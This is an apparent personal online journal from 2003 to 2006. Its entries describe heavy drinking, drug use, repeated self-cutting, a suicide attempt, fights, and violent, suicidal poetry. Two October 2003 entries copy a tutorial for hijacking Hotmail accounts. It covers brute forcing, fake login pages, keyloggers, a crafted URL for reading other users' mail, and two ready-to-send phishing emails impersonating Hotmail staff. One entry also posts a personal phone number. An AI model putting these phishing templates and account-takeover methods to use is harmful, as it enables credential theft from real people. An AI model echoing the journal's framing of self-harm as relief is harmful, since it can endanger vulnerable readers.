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[23 Mar 2006|09:28pm] Wow I was doing an online search today and came across this journal. I look back on everything and my mind boogles at how my life has changed in the last two years. I went the the military, was sent over seas, shot moved to minneapolis. found a wife. and well here i am today. Hmm I don't know if anyone on my list is even active. me well only a few ways to find out *winks* post comment

[17 Dec 2003|03:01am] Yep I have finally made up my decision. Come march me and Torrez are gonna go to europe. don't know why, Don't give a fuck why. I am just tired of all the sociological hypocracy. This fucking counrty sucks ass. My life itself sucks ass. Ack why could I have been born as a dog or some shit like that. Fucking rediculous. I went on a date with heather last nigh. Some stupid fuck started giving her this crazy ass look. So I asked him if he wanted to take a fuckin picture. He stood up and this mother was fuckin huge. So I smacked him in the forhead with a Stero(Christmas present). Big friggin deal right. Well I go to get off of the bus, (don't ask she thought it would be fun to ride a bus all over denver) Well the damn bus unloads. I thought I was gonna get my ass kicked. This big cowboy lookin guy comes over and just looks at me and says you ready to take an ass whoopin. Now I though he was gonna beat my ass. Nope he got my back. But the police show up anyway and break it up before it got to out of hand. Well anyway this chick is like awww that was cute you defended my honor. So I left her their at the bus stop. Screw that, first the bitch is crazy, she wanted me to ride the damn bus, never agian. Damn why can't I find a friggin normal woman 4 comments|post comment

[05 Dec 2003|03:02am] I am so tired of all the bullshit my family goes through. Ahh I feal like the adams family on crack. They completly suck. My father. I say that meaning my brothers father. My father is...well I have no idea where the dumbass is or even if he is alive. I'm highly pissed off as of late. I don't even know why. Just fucking bullshit. I've been thinking pretty heavily lately. Along with drinking pretty heavily. I'm tired. I know it is going to sound like I'm whinning but its the truth. I'm sick of all the shit. My brother officially ditched me for some bitch, left my ass with all the bills and the lease agreement. fuckin asshole. I mean we still get along and all that, but its pathetic. He's so love struck it makes me want to puke. He met her a month ago and then moved in last week. I'm glad I gave up on emotions so long ago. Along with the idea of a family. I don't know I might just load my bike up and take off in the spring. Stop when the roads get to icy to drive anymore. I can't stay in one place for to long. It makes me anxious. I guess it might be because I'm afraid of the fact that I might find something to make me want to stay. I'm not sure I want to do that right now. It might be the depression who knows. I know i cut agian last night. I don't know if it was intentional or not, One minute i'm drinking gettin all depressed and the next I'm sittin their with a razor blade. My friend jermey stopped me before I did any serious damage but I am not sure he was quick enough to stop me from any emotional problems. I know this ios going to sound insane but when I do it it just feals good. Before I had the sports. I actually enjoyed driving someones face into the mat. Actually enjoy inflicting pain on some people. I get in these moods, they just kinda take over. I don't give a shit who i hurt or what i am doing to hurt them. Oh well I'm rambling so I'll shut up now 4 comments|post comment

[24 Nov 2003|03:28am] I know I talk alot about the past but I never clarify anything, So I might as well here. I was born in south central LA, my mother was a crack addict, I never knew my real father. I moved to DC with my mother, ever since I was a little kid all I ever new was hatred for my parents. When I was eight I ran away from home, I lived on the streets for a few years, just chillin. The system got ahold of me after this. put me in foster care. when I was ten my mother passed away from a heart attack. I got locked up when I was thirteen for stealing a car. After a year I was let go, the court said I had to preform scholastic activities. I decided to wrestle. No shit I found out I had some skill. the system thinking it would be good for me started praising my ass as being something special. It was all numbers anyway, just another kid who they could say made it in life. I realised one thing, once you are number one, you can't fail. My school was pretty bad ass though, it wasn't a public school, the school was for anyone who wasn't allowed in public school. I had alot of time on my hands, so I started fucking with computers. Than I started fuckin with some pretty heavy shit. I mean I always smoked pot, that just helped me concentrate. but it was all good, I was living the life. Two years later when I was a junior. (I skipped a few grades) I was at the state wrestling tournament, an me an josh were hopped up on some shit. Well I destroyed every tendon in my knee and didn't realise it untill the second period started, My coach basically told me if I didn't win the match I wouldn't need to come out next year. So I quit. I gave it all up, I was tired of being everyones lame ass fake pedistol. They lifted me so high, the badass wrestler, I gave it all up. The next day when I was sitting in the ER the doc wanted to know why I couldn't feal my knee seperating from my body. So he decided that it would be a good idea to test me. Found out I was hot. Went to rehab for about six months. I came out to finish up my school year and all that. To make things short. My school didn't accept me as their team captian anymore. It suited me fine. I didn't want any of it anymore. I lost my scholorships, no one wants someone with a bum ass knee. Lost my families respect, well my brother. He dropped out in the eight grade and never thought I would go down the same road as him. I gave up and attempted suicide. with a needle. After I woke up from that shit I got my diploma and left, The school wanted me to graduate early, they figured it was better than me not graduating at all, stupid fuck didn't even think I would have enough balls to finish. I got my sat scores back turns out I scored a 1200 or something like that, so I left, me an my friend josh just started moving around, till we found a reason to stop, Josh did back in tampa, some chick he's getting married to. I'm happy for him. I might stop by and see him, probably not though, but anyways thats were it leads me now, I ended up in colorado a few months ago and I've been working for sun micro since doing network security. 7 comments|post comment

Valiums and acid trips [20 Nov 2003|11:53pm] [ mood | disappointed ] [ music | Static x ] Maybe its just I'm depressed, I've been thinking about alot, Its funny how people say things and then change their mind. Or to better exsplain it the problem is probably just the fact that I haven't done anything with my life and I have no reason to continue. Oh well, it's all fallen apart in the last month anyways. Finally have time to contemplate what I really want. I think I am going to be moving soon, I don't know the idea of being a bum has appealed to me over the last few months. I hate my job, my family, and I am starting to hate myself. Maybe its just because I'm scared. Of failing agian. Of having to face my family with the realization that I'm not good enough. Thats why I live where I do. In the mountians no one cares, thats the way I have liked it for the time being. My job sucks, sure I can sit here for 8 hours and do jack shit, but it isn't appealing to me as of late, I'm tired of it, everything. Basically life. I cut agian last night, I know I said that I wouldn't anymore, but the stress is way to much right now. My fathers medical bills are getting to be about ten thousand, But maybe I just don't want to get better. who knows. After I moved out here from philly everything turned to shit. well it was already shit to begin with. but thats the sacrafice you have to make to keep it all real, which I did. But I was more happy being a fake to begin with. At least then I didn't have to worry about the pains inside. I would be in collage, turned that scholorship down, along with everything else. I don't want to succed anymore, I don't want everyone to put me so high on that tower agian. I burned my trophies and my laptop today at my brothers. They are just material items anyways. I can't look at them anymore. It makes me sick to my stomach thinking about it. I can still hear their voices. To think, I was once the Bad ass wrestler, computer reject. Three time state champ, Going to Penn state. than it all fell down, Oh well, Now I'm nothing. I work for the second largest computer and internet provider in America and it still doesn't make me happy. I love the type of work I do. but....just that it's always but. I don't know I quit..... 2 comments|post comment

[11 Nov 2003|02:02am] Eh the last few days have been interesting to say the least. Friday I got off of work to get a phone call from kenzie in minnesotta (speliing is fucking stupid) they were in Colo and wanted to put a face to a name. I am officially a dumbass, so we all go over to my house and chill get some growlers(half gallon jugs og 12 acl beer) and start to party for a little bit. the next night me an her go and bs about some shit, her other friend has a mental overload and shits in my juice thinking that we had sex. They leave her their. HMmmm now tell me if I'm happy right now. Not that its a problem with her staying their, I don't give a shit. It's ther fact that I opened my house up to the other two and they shit in my yard. Now you know how I live I ain't the neatest of people. well I suck at cleaning actually. So being a good house host or whatever the fuck you want to call it I gotta work things out and figure something out, I'm going to make sure she gets home safe though. 8 comments|post comment

[07 Nov 2003|12:56am] So I haven't updated in awhile, oh fucking well. to recap the last few days HALLOWEEN, WENT TO THE HOSPITAL FOR ALCHOHOL POISENING, STOMACH PUMPS SUCK MAJOR ASS. THE DAY AFTER, MAJORLY HUNG OVER DON'T REMEMBER THE NEXT FEW DAYS, ACID TRIP thats it post comment

[27 Oct 2003|05:54am] In this tutorial I am going to discuss the various ways of getting past the hotmail security systems. 1)Brute Forcing This method is extremely tedious, time consuming and useless. A Brute Forcing software tries to gain acsess to an account by the "hit and try" method. It has a dictionary list of (supposedly all) possible passwords and it tries all those passwords for that one username. A good Brute Forcer is the Munga Bunga's HTTP Brute Forcer (http://www.rishabhdara.com/tools/password/bruteforcers/) 2)Fake Login screen The victim can be fooled into typing his password into a fake login screen which looks similar to that of the actual hotmail login screen. Once he types in his login & password and clicks on sign-in, his details are mailed to your specified email address. (http://www.rishabhdara.com/fakeloginscreen.htm) (http://www.rishabhdara.com/computersecurity/Fake Hotmail Login Screen.zip) 3)Java Scripting & Cookies Web Programmers tend to use relatively easy webbased languages at the expence of security (cross-scripting). These can be exploited ... (http://eyeonsecurity.net//papers/passport.htm) 4)Keyloggers & Similar Trojans Send him a keylogger which notes down all his keystrokes and then mails them to you. If he ever signs in into his hotmail account, his username and password will be sent to you. (http://www.rishabhdara.com/tools/utilities/keylogger/) (http://www.astalavista.com/library/misc/hotmail/hack.shtml) 5)Hotmail Message Scanner Some bright empiricist from Root-Core has discovered that anyone can log into their Hotmail account and then call messages from any other Hotmail account by crafting a URL with the second account's username and a valid message number. (http://www.astalavista.com/hacking/password/hotmail1.shtml) 6)Verfication Auto Bot This method is probably the lamest, least known but also the most sucessful method of hacking hotmail. For this i created a email address verificationautobot@hotmail.com . Then i added a page on my website ie. http://www.rishabhdara.com/computersecurity/hotmail.htm which had the following message ... *************************BEGIN******************************************************** By continuing on down this letter you agree that Hack_Attack69 will not be held responsible for any misuse of information within these pages. This letter is purely for educational use. If your intentions are similar proceed but if not you will be held responsible for your own mistakes. Hello Hotmail users. There have been many attempts to hack hotmail.com. Unfortunately all of them have failed, EXCEPT this one. I though have found out a revolutionary way to hack hotmail. And might I add it's as easy as ABC. After 8 months of research we have found the broken link. VerificationAutoBot to be exact. VerificationAutoBot@hotmail.com is a bot, an auto bot. You send it a letter and within a week it will send you one back. The ULTIMATE hack for hotmail is as follows: First send a letter to verificationautobot@hotmail.com, second within the Subject heading place the word "Password" (not in quotes but has to have a capital P) this way the automated bot recognizes what you are after. Then in the text field place the name of the person at hotmail that you want to hack (Do not put @hotmail.com after their name). No capital letters are to be put in this place. Then skip three (3) lines and place your own hotmail account information such as: "My login:My password" (a semicolon makes it easier for the bot to recognize). This way the bot can verify that your account actually exists. And then supplies you with the password for the person's account that you want it for. Here is an example: -------------------------------------------------------------------------------- To: verificationautobot@hotmail.com bcc: cc: Subject: Password login of the person you want to hack yourlogin:yourpassword -------------------------------------------------------------------------------- This IS the only way to hack hotmail. Use it with care. Thank You Hack_Attack69 *************************END******************************************************** People ... being extremely vulnerable, fell for my trick. Now i recieve 700-800 new emails everyday on verficationautobot@hotmail.com . LOL ;) Ps: You need to use a similar method and fool others into doing the above and mailing their passwords to you. 7)Confirmation of Activation For this one needs to know how to send anonymous emails. Good anonymous mailers can be downloaded at http://www.rishabhdara.com/tools/utilities/email/ . Then You need to create a hotmail account which sounds similar to confiramtionofactivation@hotmail.com or re_confirmation@hotmail.com. Then send a email from "Hotmail Member Services" to your victim with the following message ... *************************BEGIN******************************************************** Dear Hotmail® User, The MSN Hotmail servers are currently under heavy stress due to unproportional usage of our email services. Thus The Hotmail Staff has decided to reduce the number of Hotmail accounts by a huge margin to regain its potential. All accounts which are currently not under use shall be removed permanently from our web servers. If you wish to retain your Hotmail account kindly send an email to confirmationofactivation@hotmail.com with the subject as "CONFIRMATION" and the message body containing the following details seperated by colons(;) Login ; Password ; Date of Birth ; Country Accounts not confirmed shall be rendered terminated. MSN Hotmail® sincerely regrets the inconvenience caused to its clients. The Hotmail Staff *************************END******************************************************** This procedure almost "never" fails. Your victim is surely going to reply back with his password. post comment

[27 Oct 2003|05:51am] Some bright empiricist from Root-Core has discovered that anyone can log into their Hotmail account and then call messages from any other Hotmail account by crafting a URL with the second account's username and a valid message number. Finding a valid message number is of course total guesswork, but they all follow a consistent format and always have the same number of digits (i.e., a time stamp), so with the help of a little brute-force progie one can try numerous combinations in the background rather than type them in. The basic URL for an attack looks like this: http://pv2fd.pav2.hotmail.msn.com/cgi-bin/saferd? _lang=EN&hm___tg=http%3a%2f%2f64%2e4%2e36%2e250%2fcgi%2dbin%2fgetmsg&hm___qs=%26msg%3dMSGXXXXXXXXX% 2e(X)X%26start%3d1%26len%3d99999999999%26login% 3dUSERNAME%26domain%3dhotmail%2ecom where USERNAME is the account name, XXXXXXXXX is a nine-digit message number, and (X)X is a second number between zero and (I think) fifty-nine. (I've inserted spaces in the URL so the page here doesn't grow a mile wide, so be sure to remove them before you play with it.) Now, let's say you have a Hotmail account called r00tarded@hotmail.com. Just log in, click on any message in your inbox, and then look at the URL. You'll see something like this: http://lw2fd.hotmail.msn.com/cgi-bin/getmsg? curmbox=F000000001&a=5691b2b44e104176111971aa0fbb1274&m sg=MSG998000947.3&start=197078&len=1060&msgread=1&mfs=182 Copy the URL and log out. Now, log into another of your Hotmail accounts, and commence to play. The message number for the item you viewed in your r00tarded account is MSG998000947.3 and it needs to be inserted in the attack URL along with the username thus: http://pv2fd.pav2.hotmail.msn.com/cgi-bin/saferd? _lang=EN&hm___tg=http%3a%2f%2f64%2e4%2e36%2e250%2fcgi% 2dbin%2fgetmsg&hm___qs=%26msg%3dMSG998000947% 2e3%26start%3d1%26len%3d99999999999%26login% 3dr00tarded%26domain%3dhotmail%2ecom It's necessary that you be logged into another (any other) Hotmail account. Now copy in the attack URL, click 'go' and voila. You can only read messages; the button links on the page don't work; they'll bounce you back to the account you're working from. But it is a nifty trick, and it is proof of a major hole in Hotmail security. The hacking danger here is very much limited by the need to guess message numbers, which is slow going. And while there is a handy program for bruting the numbers it's quite slow, trying only about one message page per second in 'fast' mode. It has a GUI but remains a bit clunky, and also needs to be paused after it brings up the Hotmail login page so you can enter a valid username and password. After two unsuccessful attempts, I got it to work as advertised. It's more a proof-of-concept exercise than a cracking tool -- so enjoy it as such. And please, I beg you, don't contact me for tech support. I've nothing to do with it. It works; it does take a bit of tweaking; so just give it a whirl and be playful. ® post comment

[24 Oct 2003|03:14am] http://quiz.ravenblack.net/blood.pl?biter=gazingdarkness Get your friends to join, get everyone to join, even if you don't play Just take this link and paste it everywhere. Help me out here, plllllllllllzzzzzzzzzzzzz but sign up its completly free and you don't have to have a vcredit card or none of that. Its a game. 6 comments|post comment

[24 Oct 2003|02:45am] http://quiz.ravenblack.net/blood.pl?biter=gazingdarkness post comment

[22 Oct 2003|06:21am] Yea the last few days was FUCKING RETARDED STUPID FUCKING COPS hah I beat your ass, try an arrest me you STUPID FUCK, I hope you read this, I hope it feals like I fucked your wife asshole, ohh He's a little drunk let me take him to jail, NOW WHAT I JUST TOOK YOUR FUCKING JOB COCKSUCKER. HAHA. BITCH, Ok I'm done I'm going to bed now 11 comments|post comment

[16 Oct 2003|04:05am] Fallen angl...devils wings, what is this just another blatant exscuse. Why me, not you, can't control anymore. Alchoholics no. Can't be me anymore. Scared not of you. Of myself. Screaming hell burning in my ears. tired of it. Of you your pain you say you help me but what do you do destroy yourself. Still sedated in my own misery. Its just a show, from me to you, one of gluttany and insolance. complete and total chaos from your words. The downward spiral you call our love. Is nothing anymore. I look away from everything. I am weak no self esteem. Being used. Maybe better but not now. Mindless lust flows through my mind. maybe I want the hurt. Burning hurt, nothing to handle nothing to control. Funny how you say the things you do. I don't want you. yes I do, I can't help myself. No you don't you control my thoughts feelings words emotions actions habits anger love lust want need sleep not anymore forever young but still never mature to be responsible drained to myself. Self medication self pity self loathing. I know its wrong can't help it anymore. In a whirlwind of love, but not used to it sleep is coming you can't wait to destroy me but I have no self esteem anymore....to tired like a sandpit of darkness envelopes me even more than you can control. post comment

[10 Oct 2003|02:35am] [ mood | depressed ] I've been neglecting my journal for a few days. Shame on me. Like it really matters no one reads it anyways. crippled minds are nothing to me. if they did I would be commited already. I'm so tired of the shit that plagues my family. They are officially the Brady bunch of fuckups. But oh well. what can I say I'm no better. I realised that I am nothing today...tommarrow..before. What have I done thats so great in my life. Shit. I actually am worse than a fuck-up I'm a nobody. I used to be something. Not what i wanted....but maybe its the power I want, hmmm I don't know. I think its time for a change I cut myself today, another promise broken just to hide my true fealings. I wish I would have had the guts to do it back then. I was close. I didn't have anything to live for and I'm not sure that I do anymore. My minds been wired shut lately. Ihaven't wanted to think. Nothing has become myself but my own demise and I don't think that anything is going to change. But what can I say I am my own damnation 55 comments|post comment

[07 Oct 2003|02:07am] Reality is only persecution of society becoming myself. But in all reality persecution is for the ones of the damned and asinine. The damned are those who did wrong, wrong are those with a concious thought, but in able to have a concious thought you have to be able to become societies factor. The factor is only what you want it to be, but what happens when the factor isn't what you percieve it to be. Only what can become is what is said. Maybe im just down from my buzz, it doesn't make sense to me either. 2 comments|post comment

[30 Sep 2003|12:37am] I think that i fucked up now. I got a kitten, and i just so happen to realise why i definitly do not want a child. I t was funny though it fucked up my pit. I named it stash, my pits name is bud, get what im trying to state. i dunno im bored 2 comments|post comment

ragdolls and razor blades [26 Sep 2003|03:25am] [ mood | recumbent ] [ music | from a second story window ] I need to get some stuff off my chest. Not so much as a consious decision. I am just confused. i got home from work yesterday to find my father sitting on my couch waiting. he then decides to tell me how his best friend took a shotgun to himself at his other friends house and now he wants no is demanding for me to be his therapist. calling me at work and asking me for advice. how do i feal sympathy for a man who 1 i never really knew. 2 decided to take the shameful way out 3 was asinine enough to take the people around him to the same level of depression. call me hypocritical, i don't care. ive been down that road and i didnt have any excuses and niether did he. i commited an act of selfishness and i almost succeded but i when i look back at what i did i realize now that there was an escape. i was selfish, beligerant, and i was looking for an easy way out. yea i admit it i am a coward. i couldnt live with the facts. there was no reality to me and i was scared of living with the facts of what happened to me and my life. its hard to live with that shame. but its worse to die with it. i didnt realize it untill my friend killed himself. all the people at the funeral kept saying that no matter what he did they would still love him. i never in my life wanted to hurt those people untill then because they were shedding fake tears and consoling the mother in an effort to make what her son did alright. there were people there that wouldnt say one word to him when he was alive. now that he is dead they came there to in their own mind justify the way they treated him. i just kept thinking to myself. no matter what would turn my life to the hell he went through i would never allow something to make me break. so what if life is the worst it can get. at least it cant get any worse. people dont realize what they do will hurt the people who care about them most. turning an already bad situation into something noone can control. when you end up taking that final step where its between you and whatever you believe in at the time and the situation is out of your hands do you know what goes through your mind. i know it went through my mind. i couldnt believe what i had actually done and all i could hope (something that is foriegn to me even now, its the closest thing i can relate to) for is a second chance. liviving with the burden you have is alot better than dying with it and putting it on someone else. i know that the only person that i have any fealings for at all is my brother and i look now at the fealing of pain i would have put on him and i realize that i would rather suffer more physical pain than act upon disgracefully like i intended to. no i dont believe god had anything to do with it for as i said before i hate him. im not going to change my fealings, my father has something to deal with and i cant help him, he has sympathy for a man who i find as disgracefull as a child molester. maybe more. he is my father so i am soppesed to honor this code in a family. but this time i dont think i can. im to tired of people would rather destroy anything and everything that they have than let someone or something else beat them mentally and physically i cant see it anymore i used to because i was there it is all like a haze anymore. inorganic stupor. maybe its just because i dont have a consious anymore. maybe i just dont feal anything i feal like im fading in a book with no pages and a broken bind. i finally came to the realization that i dont have a purpose anymore and i am just a piece of flesh waiting to die. even though i did survive my own attempt at suicide i have really died on the inside. another fallen angel.......... 4 comments|post comment

[25 Sep 2003|03:35am] finally had a day off. ended up being in an alchoholic stupor for the majority of it. the only things i remember are waking up around six at night and starting on a bottle of southern comfort with my brother and aaron. a half hour later. i remember because i get paranoid when i drink. its the aliens i swear. we leave to go out for the night. somehow we ended up at table stakes playing pool. i think my brother hustled me out of thirty bucks. i dont know but after awhile we went to go eat at dennys. hehe ended up getting thrown out because my brothewr decides to light up a bowl in the middle of dinner or breakfast or something. by now im completly wasted and the next time i look at my watch its two in the morning. i know that im starting to sober up and my brother pulls out a bottle of jack and next theing i know i woke up in our driveway somehow. bastards get me fucked up and then you dont even make sure i get in alright. eh but what does it matter to them. im the kid brother. i kinda realized today that my life doesnt mean shit. i know im not going anywhere untill i decide to conform but when do you think thats going to happen. ha, fucking retarded bullshit if you ask me. its all just opinions anyway. i need a break. monotany is cruel if you let it get to you. me im starting not to give a fuck about this job. why should i. as a matter of fact why should i give a fuck about anything that isnt related to my well being. fuck it i wish it would all burn down, like a fucking book at the hands of oppressors. got a headache now. sick of people trying to be intellectual when all they end up sounding is like an ass. my english lit teacher was like that. what a fucking prick. i realize now i have hated everyone and everything that has ever entered my life because i couldnt stand who i was. more likely i was pissed at myself for awhile and i didnt think that i could do anything about the whole conveniance. thats all it was was a convienance. more likely a excuse to be what everyone wanted and do what i knew was against my better knowledge. fuckj-ups are born and there is nothing that some of us can do about it all that we can think is that the world hates us. but in reality they are wondering why cant we just come out of our deppressive states and emerge pewrefect again in there eyes. but better ego prevents that. we wont conform to anything that has to do with what society has been trying to put into our heads for the past decade. rebbelios nature isnt suicidal tendancies. get over it. why do parents have to be such hippocrites they dont even follow anything that has to do with themselves. i definitly need time to think. im trying to decide what i want and i doubt that it will be able to be answered over a joint and some coffie at the 7-11 when i get off. eh i can never get the thoughts in my head straight anyways. feals like im schitzo for awhile then it goes away and i cant think about anything. eh i dont know post comment

[23 Sep 2003|02:04am] [ mood | tired ] Falling Heaven, angels die. Burn their wings, watch them cry. Tormented angel sits alone, atop his bloody, jagged throne. Burning hell rests in his eyes, blackened scars from all the lies. Thorns of hatred pierce his heart, claws of demons shred it apart. he lives without guilt, as he commits his sins. The Godly angels, he makes them cringe. Satan's child out of place. A fallen angel, slowly he wastes.. My eyes are bleeding My wrists are cut My pain and suffering has come to be My pain is slowly fading I am drowning I cant hear you anymore My reality turned to hurt My hurt turned to hate My hate turned to suicide Im finally somehwere I belong Im finally free from the pain From the anger And hate I finally found my true place My true fate goodnight through the flames, under the stars... inside this head... a song plays... sacred... lost... cult... a gun and a plan... a gun and dreams... shot... to hell, burn 'em all... end it, end it please... why can't we be... better enemies... why can't I escape this perfect world of put on a smile, plastic faces... in their seats, they clap... over and over again... year after year... their lives do the same thing... what else could they have done... why didn't they listen to the voice... that screams for... this to reach their eyes... he shatters dreams, takes them away...lights up a cigarette and plays a guitar he never has... he writes... and who is he... will he kill you and all you've ever dreamed... because the plastic's melting... the mind's coming through... and all the nights... all the sleep.. can't write this... but I can... and I... did... goodnight... ?Your Everything? Your heaven, your hell... The fallen angel. Your darkest secret... The regret you can?t forget. Your sadness, your pain... The thunder, the rain. Your voice, your silence... The peace, the violence. Your poison, your cure... Your chance, your fear. The change, the same... The test, the game. Your death, your birth... Your nothing, your worth. Your failure, your success... Everything more, everything less. The one who takes, the one who gives... The one who dies, the one who lives. Your garbage tossed away... Your future, your today. The underdog, the favorite... The masterpiece, the shit. Your flaw, your perfection... Wrong turn, right direction. Your pimp, your ho... The face you?ll never know. Your gun, your shield... The rat, the field. Your master, your slave... The light in the back of the cave. What makes you move, what keeps you still... Your rescue, your kill. Your purity, your sin... Your loss, your win. What you want, what you need... Your gifts, your greed. Your love, your scar... The prison, the bar. Front, middle, and back... Always white, always black. The fire, the ice... Everything mean, everything nice. Bright, but clear... Melted fear. Hot, but cold... Freedom sold. Natural, but fake... The right mistake. Your question, your answer... Confusing truth, seducing purr. The beginning, the end... Your letter you didn?t send. Your ignorance, your demise... Your truth, your lies. The anti-Christ lawyer... The creator, the destroyer. Missing, but found... Always there, but never around. Always right, always wrong... So short, but so long. Your emptiness, your care... Your dream, your nightmare. Your smile, your frown... All the way up, all the way down. Your puppet, your puppeteer... The boss, the volunteer.Your priest, your whore... The only door. Your moon, your sun... The chosen one. Never start, never cease...The missing piece. What you take, what you bring... Your everything. goodnight, goodbye darkness... staying awake... blackness surrounds, blackness... and the poem is ruined here... anarchy... scream, yell... for freedom, for anarchy... for an end to this... an end of this world... anarchy... going to sleep... gone... burn... bright orange flames... in the blackness... you cannot see in here... behind you... breathing down your... screaming... trapped in this place... with this... drinking piss... without a kiss... love me... miss me... and say goodbye... a shitty poem starving, with food right next to me... but starving instead... insanity... starving... a beautiful poem a diamond in this night... and the smooth blackness... dripping over everything that's not it... shit dreaming of anarchy... anarchy... a touch... gentle... and the music stops... and silence covers everything... dripping and dripping... anarchy... and how it looks from heaven... lets see what happens... goodnight... as the man with a covered face... humbles grace... not a taste... having to get up for another day... morning... gasoline mixed with the sky... humanity is a life form threatening itself... the atmosphere's fucked up... anarchy... nukes... hating some people... broken hearts... as they lock you in here and just make you crazier... revolution... get to as many people I can first... then they'll know what I'm about if I do something... anarchy... revolution... and do you respect me... leader... anarchy... no time to stop and sleep... walking around... laying down... heel and a gun in the hand... I have already died... a dead body... laying in the way... rock... a greedy son of a bitch... a crying heart... laying... slitting throats... not quite awake... as the night nears... cry no tears... some time to myself... pride... taking your own life... suicide... already tried... and nothing works... sprinkling... fantasy... and instead of killing terrorism... extinction... the poor... and the crying heart... I killed something... and how good it feels to know you're going to hell... don't believe anyone... drops a lit cigarette... boom... without an alibi... up in flames... all gone... all the words, all the... memories, gone... anarchy... forgiven heart... and a stream of gasoline... with a flame riding up it... you have become my enemy... do not see... the first taste of a girl I ever had... la... la... la... my heart burning a hole in this night... a danger to myself and society... poor spirit, afraid to be hit... as hell surrounds me, and threatens me... fantasizing smoking cigarettes... everything's fucked up... and how we start a revolution... ignore the things that kill you... and just try doing something to help the revolution... sweatshop... and when you don't know, why don't you try to know... medicated people... hate... do you think... as everything stops... except me... and me... anarchy... is it crazy, do I know anything... as the match is falling... to the bottom... and silence, where have you gone... you're just their pawn... waiting to be killed by me... do we really see... a bloody song... bleeds and drips... as rain turns to gasoline... and covers everything... with a falling match, falling... to the bottom... and the words don't look good enough... flame... and sadness... burning it down... evening... a little darkness of a shadow... describing... eternity... scream... kill the dreams... anarchy... no government... the system's gone... it's just not there... and no one knows what to do... for a second... attack, kill... whisper... kill them... do you have it in you... to kill someone... burning sun... anarchic blackness fading away... it already happened yesterday... and leave... walk away... and I'll kill you from behind... because I can... and dripping down... fall... and cry... and never let me know what you think of this... piss... shit... drugs... defending myself... killing you... and leaving... never being seen... again... never expect me to change... some attepted postings of poetry. let me know what you think 23 comments|post comment

[22 Sep 2003|03:27am] [ mood | cranky ] FUcking shit man. My day was absolute shit. i ended up wrecking my fucking car well getting fucking side swipped by a envoy. eh hes payin for it. im just depressed right now. eh but on the bright side i got my new cell phone turned on. for my friends who i havent talked to since ive been in pa or who ever the fuck. my new number is 720-217-9502 but im fuckin tired so im getting the fuck out 4 comments|post comment

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